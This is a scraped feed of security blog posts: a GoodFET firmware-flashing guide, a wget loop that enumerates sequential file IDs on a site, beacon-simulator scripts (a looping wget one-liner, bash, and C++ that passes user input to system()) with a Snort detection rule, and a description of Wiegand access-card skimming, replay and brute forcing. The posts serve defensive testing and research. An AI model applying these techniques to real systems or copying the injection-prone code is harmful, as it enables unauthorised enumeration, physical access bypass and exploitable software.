     root@bt:goodfet/trunk/client# board=facedancer11 goodfet.bsl --dumpinfo > info.txt



    Now we can install the firmware:

     root@bt:goodfet/trunk/client# board=facedancer11 goodfet.bsl --fromweb



    This may or may not work for you. As of 11/26, you'll get this error: 

     The --fromweb feature is temporarily disabled, pending a rewrite.
     Please grab a copy of the appropriate .hex from
     http://goodfet.sf.net/dist/ and flash it like so:

     goodfet.bsl -e -p foo.hex



    So let's manually download and install:

     root@bt:goodfet/trunk/client# wget http://goodfet.sourceforge.net/dist/facedancer11.hex
     root@bt:goodfet/trunk/client# board=facedancer11 goodfet.bsl -e -p facedancer11.hex
     MSP430 Bootstrap Loader Version: 1.39-goodfet-8
     Mass Erase...
     Transmit default password ...
     Invoking BSL...
     Transmit default password ...
     Current bootstrap loader version: 2.13 (Device ID: f26f)
     Program ...
     4932 bytes programmed.



    Once everything has completed, just run a quick test to make sure nothing is broken!

     root@bt:goodfet/trunk/client# bboard=facedancer11 goodfet.monitor test
     Performing monitor self-test.
     Self-test complete.



    Looks like everything is working. Now you'll need to dig throw a lot of python, the USB specifications and blog posts to do some awesome USB hacks. This is a great place to start:



    Enjoy!

    ↧
    ↧

    WAPT Workaround: Following Redirects without Downloading Content

    December 4, 2012, 6:47 am
    $
    0
    0
    By Tony Lee and Amit Bagree.

    We get some very unique requests from time to time—such as: “Please walk the site with sequential file IDs in order to gather file type statistics. Oh yeah, do this from outside the network and consume minimal bandwidth.”

    Yes, we realize that this is not an ideal scenario because you could just go to web server locally, but how many ideal scenarios do you really come across? Plus we love a challenge. :)

    Mission if you choose to accept it

    A redirect page in a client site takes an object parameter called ID. These are potentially sensitive files and you want to traverse all of the redirect URLs and resolve the redirect names to their full path to check for sensitive names and gather statistics. Unfortunately, your client is bandwidth sensitive and does not want you downloading their entire website (some files are +10MB in size) – you don’t want that either... However, you still need to obtain a site map, parse the file names for potentially sensitive titles and gather statistics.

    One Possible Solution

    A few of us kicked the problem around for the optimal answer. We finally settled on the spider option contained within wget. From the wget man page:

    “--spider When invoked with this option, wget will behave as a Web spider, which means that it will not download the pages, just check that they are there. “

    Now that we have a way to resolve the redirects, yet ignore the content, we will need some Linux scripting foo to help with traversing the IDs and parsing the output.

    Solution: Steps (High Level)

    1. Run “script” to capture the output for grepping
    2. Create a bash shell script that counts from the lower range to the upper range…
    3. Kill “script” with CTRL + D
    4. Grep like there is no tomorrow

    Step 1: Run Script

     root@bt:~# script


    Step 2: for Loop

     root@bt:~# for i in {110000..110002}; do wget --spider --force-html https://site.com/crazy/long/directories/Redirect.aspx?ID=$i; done


    Step 3: CTRL+D

    (CTRL+D)


    Typical Output

    After letting that run for a while, we finally have some output. It appears that wget resolved the location and followed it to check to see if the file exists. Just as we planned! On top of that, we did not download the file. Now we need to make the output actionable—grep to the rescue.

    --snip--

    Spider mode enabled. Check if remote file exists.
    --2012-01-09 13:29:11--  https://site.com/crazy/long/directories/Redirect.aspx?ID=120305
    Resolving www.site.com... 10.1.2.7
    Connecting to www.site.com|10.1.2.7|:443... connected.
    HTTP request sent, awaiting response... 302 Found
    Location: /crazy/long/directories/someexcelfile.xls [following]
    Spider mode enabled. Check if remote file exists.
    --2012-01-09 13:29:11--  https://site.com/crazy/long/directories/someexcelfile.xls
    Connecting to www.site.com|10.1.2.7|:443... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 50688 (50K) [application/vnd.ms-excel]
    Remote file exists.

    --snip--


    Step 4: grep grep grep

    You could grep on just about anything in the output above. You could grep on “Location” or the second date tag if you wanted. Below is just one example. We are using two greps piped together. The first one grabs the lines with the double dash and the second looks for file extensions. We pipe that into word count with a ‘–l’ to count the number of lines that match that as shown below.

     root@bt:~# grep "\-\-" <script file name> | grep “.pdf” | wc -l
    9065


    You could now change the grep to xls, doc, docx, etc. “wc –l” will continue to give you the number of instances or leave it off in order to grab the full paths to the files.

    What do you think?

    This is just one possible method in obtaining full path names by sequentially walking a website. This also avoids downloading the large files to save on bandwidth. We would be very interested in other (possibly more efficient) ideas on how to tackle this using free software. :)

    ↧

    Testing Your Defenses - Beaconing

    December 11, 2012, 3:30 am
    $
    0
    0
    By Tony Lee.

    You have invested time, effort, and money in defenses. But, how do you know they are working? Unless you are willing to intentionally get owned or you want to introduce a piece of malware into your environment, you need safe and effective ways to test your visibility. This article will discuss beaconing — what it is, how it works, and how you might be able to detect it. As a bonus, at the end of the article, we will provide some benign sample source code and programs that you can use to test your beacon detection capabilities.

    What is a beacon?

    A beacon is traffic leaving the inside of a network at regular intervals—it is also called a heartbeat. Beacons can be used for a variety of purposes such as obtaining new orders from a command and control (C&C) server as well as to download updates or other tools. Functionality depends on the goal of the attacker and the stage in the attack. In the example traffic image below, the beacons are in red and normal traffic is in blue. Notice that the beacons occur every two hours all day and are harder to find when traffic volume is higher (between the hours of 5AM and 8PM).

    How does a beacon work?

    A beacon can use any protocol; however, the most prevalent would probably be HTTP or HTTPS. This is most common because egress rules typically allow these protocols out of the network. After all, every employee needs to be able to access their Facebook page and YouTube from their work PC. :) Increasingly, we are seeing attackers using encryption for their C&C and data transfers—thus the use of HTTPS is on the rise.

    Beacons can attempt to communicate with a single URL or multiple URLs. For more complex stagers, multiple URLs are used which makes it more difficult to detect this behavior. Parameters can be used to trigger different downloads or send different command and control signals. We have even seen a bot beacon out to a C&C server using emoticons to communicate its status.

    How might we detect a beacon?

    There is a good saying, that “In order to detect abnormal, you must first know what normal looks like.” This is very true in the case of beaconing. If you know that your business hours are from 5am-8pm and you have something calling out of the network during off-hours (as seen in image above)—this could indicate an issue worth investigating. To obtain this baseline of normal though you will probably utilize a security product of some sort… but what are your options?

    There are multiple products that may help detect a beacon. While it can be detected at the host level, you probably have a better chance detecting it at the network level. Attackers can easily hide maliciousness on the host via rootkits, but it is much harder to hide from all of the network-based security devices. Additionally, if you have a couple of choke points in your network—it provides a prime opportunity to gain some insight into your network traffic.

    These devices include, but are not limited to:
    • Firewalls
    • Web Proxies
    • IDS
    • Malware/anomalous traffic detection appliances
    • Security Information and Event Management (SIEM) solutions


    Firewalls

    Firewalls can contain vital information in the logs such as the presence of network traffic and the action taken upon that traffic. If the beacon is trying to callout using a port/protocol that is disallowed, it may be easy to detect this constant callout by looking for repeat blocked traffic. Keep in mind that all blocked traffic is not necessarily a beacon and it most often needs to be investigated in order to determine legitimacy. Unfortunately, the larger the network, the more difficult it can be to track down a host and determine the functionality of the host. Knowing the functionality can be instrumental in determining if the traffic is normal or suspicious.

    Web Proxies

    Web proxies are useful if the beacon is occurring over a supported web protocol. If the beacon is using HTTPS and the traffic is properly intercepted and decrypted by the web proxy, it can provide even more insight as to what is happening. Additionally, the web proxy may be able to provide the user’s name/token that the beacon is utilizing in order to get out of the network. This information can be used to aid in the investigation by providing an opportunity to interview the potential victim.

    Intrusion Detection Systems

    An intrusion detection system (IDS) can potentially detect this activity if a rule is triggered. This is useful as a layered defense, but the traffic will usually have to be something that is previously known and understood in order for a rule to hit. If the IDS has additional intelligence such as traffic thresholds or trending, then there is a chance it could be detected from this capability.

    Malware/Anomalous Traffic Detection

    Malware detection appliances go a step beyond traditional IDS by integrating multiple detection mechanisms into one device. McAfee’s Network Threat Response (NTR), for example, uses the following detection mechanisms:
    1. Antivirus definitions
    2. Network signatures
    3. File Reputation (McAfee’s Artemis)
    4. IP reputation (McAfee’s Trusted Source)
    5. Static file analysis
    Disclaimer: I work for Foundstone, who is owned by McAfee which sells NTR. However, I am using NTR as an example because I have more experience and familiarity with NTR than I do other tools.

    SIEM

    Security Information and Event Management solutions can also help detect the presence of a beacon, but it is usually using logs from one or more of the devices mentioned above. The advantage here is greater visibility by using multiple different types of logs—from hosts to network gear. Additionally, some advanced SIEMs can do trending to detect and understand what is normal and then set thresholds to alert on unusual traffic.

    Sample Beacon Code

    We have scratched out some sample code for you below. Our example code could use a variety of sites and behavior in order to simulate an attacker; however, we will keep things relatively simple and flexible to allow the tester to define two properties:
    1. URL
    2. Frequency
    A more comprehensive test would potentially involve changing the URL and/or the parameters—but we will leave that as an exercise for the reader. Feel free to use the examples below as a code base though.

    We have the code up on the Open Security Research GitHub (its also provided below for completeness) and can be cloned by:

     root@bt:~# git clone https://github.com/OpenSecurityResearch/beacon_simulator.git



    Our example code below uses the registration site for ccTLD Tokelau dot.tk domains (this site does not host malware). Tokelau is a territory of New Zealand that is 5 sq. miles of atolls in the South Pacific with a population of roughly 1,400 people, but they are the fastest growing ccTLD because domain registration is free and does not require a credit card. Even with their anti-abuse efforts, it is still a popular landing or redirector for malware.

    Because of that, the domain also happens to trigger in the emerging threats snort rule:

     alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET CURRENT_EVENTS HTTP Request to a *.tk domain"; flow:to_server,established; content:"|0d 0a|Host|3a| "; content:".tk|0D 0A|"; within:50; content:!".tcl.tk|0d 0a|"; classtype:bad-unknown; sid:2012810; rev:6;)



    We are explaining this because if you are running the emerging threats rule, you may see an alert—but feel free to use any site for your beacons.

    One-Liner Beacon

    So, any *nix hacker out there is saying, we can do this with one line. Yes you can. The line below begins an infinite loop with while true. It then uses wget to call out and grab content from a site (redirecting the output to /dev/null). We then sleep for 10 seconds and do it again. This will continue to repeat until the user kills the infinite loop with CTRL+C. 

     root@bt:~/beacon_simulator# while true; do wget -O /dev/null http://www.dot.tk/en/index.html?lang=en; sleep 10; done;

    --2012-11-09 11:32:44--  http://www.dot.tk/en/index.html?lang=en
    Resolving www.dot.tk... 91.215.158.51
    Connecting to www.dot.tk|91.215.158.51|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 11393 (11K) [text/html]
    Saving to: `/dev/null'

    100%[=============================================================================================================================>] 11,393      --.-K/s   in 0.02s   

    2012-11-09 11:32:45 (573 KB/s) - `/dev/null' saved [11393/11393]

    --2012-11-09 11:32:55--  http://www.dot.tk/en/index.html?lang=en
    Resolving www.dot.tk... 91.215.158.51
    Connecting to www.dot.tk|91.215.158.51|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 11393 (11K) [text/html]
    Saving to: `/dev/null'

    100%[=============================================================================================================================>] 11,393      --.-K/s   in 0.008s  

    2012-11-09 11:32:56 (1.36 MB/s) - `/dev/null' saved [11393/11393]

    [ CTRL + C ]




    This is handy because it does not require us to download a beaconing app and it can be remotely pushed to several boxes to generate even more traffic. How about something more re-usable that we can pull off the shelf when needed?

    Bash script beacon

    If you are seeking reusability and want to extend functionality and complexity you can use the bash script provided below. It does some error checking and provides the same functionality as the one-liner above. It can also be extended to provide additional features such as altering the URL and parameters.

    Usage

    The script takes the URL and the frequency (how often to fetch the URL) in seconds, you can see some example usage by running it without any parameters:
     root@bt:~/beacon_simulator# ./beacon.sh 
    This program will beacon out to a website on a user-defined schedule to simulate malware.  (Use ctrl+c to stop the beaconing)
    Email Tony.Lee-at-Foundstone.com for questions.

    Usage: ./beacon.sh <URL> <Frequency in seconds>
    Example: ./beacon.sh http://www.dot.tk/en/index.html?lang=en 60



    Example

    Simply launch the script and define the URL and the frequency:
     root@bt:~/beacon_simulator# ./beacon.sh http://www.dot.tk/en/index.html?lang=en 10
    Getting the site http://www.dot.tk/en/index.html?lang=en

    --2012-11-09 12:34:50--  http://www.dot.tk/en/index.html?lang=en
    Resolving www.dot.tk... 91.215.158.51
    Connecting to www.dot.tk|91.215.158.51|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 11393 (11K) [text/html]
    Saving to: `/dev/null'

    100%[=============================================================================================================================>] 11,393      --.-K/s   in 0s      

    2012-11-09 12:34:57 (324 MB/s) - `/dev/null' saved [11393/11393]



    Sleeping for 10 seconds
    --snip--




    Bash Beacon Source

     #!/bin/bash
    # Beacon simulator
    # Tony.Lee-at-Foundstone.com
    # Input: URL and frequency to beacon (in seconds)
    # Output: Beaconing web requests to a URL at a user-defined interval
    # Requirements - curl or wget

    ##### Function Usage #####
    # Prints usage statement
    ##########################
    Usage()
    {
    echo "This program will beacon out to a website on a user-defined schedule to simulate malware.  (Use ctrl+c to stop the beaconing)
    Email Tony.Lee-at-Foundstone.com for questions.

    Usage: $0 <URL> <Frequency in seconds>
    Example: $0 http://www.dot.tk/en/index.html?lang=en 60"
    }

    ###### Core Program ######
    # Parameter Detection
    # Beaconing
    ##########################

    # Detect the absence of command line parameters. If the user did not specify two, print usage statement
    [[ $# -ne 2 ]] && { Usage; exit 0; }

    while true
    do
            echo -e "Getting the site $1\n";                # user notification output
            wget -O /dev/null $1;                           # wget the URL (to avoid files from building up output to /dev/null)
    echo -e "\n\nSleeping for $2 seconds\n\n";      # user notification output
            sleep $2;                                       # Sleep
    done



    The previous two examples are useful for generating the beacon from within your network, however what if you want to track the attack back to the point of download? For example, maybe an unsuspecting user downloaded a malicious binary that is beaconing out for instructions.

    C++ Beacon

    The following program was written in C++ on Linux and compiled with g++. It does some simple error checking and then uses a string to generate the wget command and converts it to a char* to pass into system(). We realize that the program passes a command line parameter into wget. Since this is designed to be run on the command line there is no additional risk due to a shell escape as long as the application is not run as root and does not have the SUID bit set.

     // Simple Beacon Simulator
    // Input: URL and frequency to beacon (in seconds)
    // Output: Beaconing web requests to a URL at a user-defined interval
    // Requirements - curl or wget
    // For questions ask Tony.Lee-at-Foundstone.com

    #include <stdio.h>
    #include <unistd.h>
    #include <string>
    #include <iostream>
    #include <stdlib.h>

    using namespace std;


    int main(int argc, char *argv[])
    {
            printf("This program will beacon out to a website on a user-defined schedule to simulate malware.  (Use ctrl+c to stop the beaconing)\n");
            printf("Email Tony.Lee-at-Foundstone.com for questions.\n\n");

            if ( argc != 3 )        // Detect command line arguments - 2 are needed for correct execution
            {
                    printf( "Usage: %s <URL> <Frequency in seconds>\n", argv[0] );
                    printf( "Example: %s http://www.dot.tk/en/index.html?lang=en 60\n", argv[0] );
                    return 1;
            }

            unsigned int seconds = strtoul(argv[2],NULL,0); // sleep takes an unsigned int, must convert string input to unsigned long

            std::string command;                    // initialize command
            command = "wget -O /dev/null ";         // build the first part of the string
            command += argv[1];                     // add the URL

            const char * charcommand = command.c_str();     // convert string to char*

            while(1)
            {
                    printf("\nGetting the site %s\n", argv[1]);             // user notification output
                    system( charcommand );                                  // execute wget 
                    printf("\n\nSleeping for %u seconds\n\n", seconds);     // user notification output
                    sleep(seconds);                                         // sleep
            }

            return 0;
    }




    Compiling

    You can compile the binary statically or dynamically, depending on your needs. Here are the g++ commands for both.

    Dynamically Compiled:
     root@bt:~/beacon_simulator# g++ -o beacon beacon.cpp
      root@bt:~/beacon_simulator# file beacon
    beacon: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), not stripped



    Statically Compiled:
     root@bt:~/beacon_simulator# g++ -static -o beacon beacon.cpp 
      root@bt:~/beacon_simulator# file beacon
    beacon: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, statically linked, not stripped



    Conclusion

    In order to know that your defenses are effective you need to test them. If you don’t want to introduce evil to the network, it can be helpful to have a few benign files at your disposal. We have hopefully provided a few useful example programs that can help you investigate the visibility that you have in detecting a beaconing application.

    Do you have any tests that you use to ensure your defenses are effective? Let me know in the comments below!

    ↧

    Hacking the Wiegand Serial Protocol

    December 25, 2012, 3:30 am
    $
    0
    0
    By Brad Antoniewicz.

    "Wiegand" is used to describe a number of different things used within access control systems such as the format in which data is stored on a card, the protocol which is used to transmit the data, and different types of access cards that leverage it. In this blog post we'll focus on targeting the serial protocol while touching on some of the other uses. You'll find Wiegand used in magnetic strip, RFID (proximity card), and various other access card systems

    I originally came across Wiegand as part of my Attacking Proximity Card Access Systems talk where I demonstrated attacks against each of the components involved in access control systems. Later on someone told me about Zac Franken, who created Gecko, a sort of Wiegand man in the middle tool. This blog post will implement and expand on Franken's tool using an Arudino.

    On the Wire

    Wiegand is used to transmit data from the access card reader to the backend controller for processing. It's a super simple protocol consisting of two wires: DATA0 and DATA1. When the reader wants to send a zero, it lowers DATA0 and whenever it wants to send a one it lowers DATA1. Here's what it looks like within an logic analyzer. I've written the one's and zero's in green and translated them to the card values printed on the back of a proximity card.


    Accessing

    In a non-lab environment the wires are physically accessible anywhere between the reader and the controller. For a completely unauthenticated user, the easiest way is to pop off the cover of the reader which will expose the two screws. Remove the screws, pull the reader away from the wall, and you'll be able to access the wires. They're usually colored green for DATA0 and white for DATA1. You can also use the power wires (red and black) to power your Arduino.


    Capturing Card Values (Skimming)

    The first attack that's possible is to capture valid card values as they're being transmitted. The values can then be stored on a memory card off the Arudino or even transmitted wirelessly. The Gecko tool skimmed card values, then when a special replay card was provided, it would repeat a stored card value to the controller.

    The Arduino code to implement this is pretty simple. Mike Cook created some basic code that places an interrupt on the wires, so when there is a change, the interrupt function will be called. I leveraged this technique in my Arduino code too. The skimmed card values are sent via the Arduino's serial interface.

    The Skimmer is implemented in the emulator code in the next section.

    Emulating Card Values

    Something that's obvious but for some reason overlooked is that with direct access to the Wiegand interface, you can bypass all reader-level security. For instance, there are certain proximity cards that implement RFID authentication, encryption, and replay protection. In most cases this security is in place to protect the card value stored on the card. If you can somehow obtain a card value, it can be replayed via wiegand without ever considering the reader to human interface. This even extends to biometrics.

    Furthermore, if you add a wireless component to your Arudino setup, you can wirelessly provide those card values. Here's the code:

    Brute Forcing Values

    Another interesting idea is brute forcing values. There may be times that you have a valid (or once valid) card value and you need a card value with higher privileges (e.g. access to restricted areas). Due to the way certain card formats (e.g. 26-bit format) distribute card values, with knowledge of one card, you could determine other card values with a simple incremental brute force. This technique can be also be applied to the reader interface, but because of the delay between reads, you can only get about one read a second. Using the Weigand interface, you can get 5!

    Here's the code:

    Fuzzing!

    Don't forget that both the controller and the backend system process the values received via Wiegand. This gives us two potential targets to fuzz. Although the test cases are pretty limited: length, raising DATA0 and DATA1 at the same time, raising the two for a long time, etc... It's still worthwhile to fuzz - if you get a crash, you can potentially implement the trigger in a RFID or magstripe card, and crash the system from reader's interface!!

    I implemented a basic fuzzer using the Arudino:

    Expanding

    As mentioned, you can expand upon all of this by adding wireless capabilities. Another cool thought is that because all of this is on an Arduino, you can easily communicate with it via a cell phone, making things really inconspicuous :)

    Got any more ideas on expanding this? Let us know in the comments down below!!



    ↧
    Viewing all 107 articles
    Browse latest View live
    Search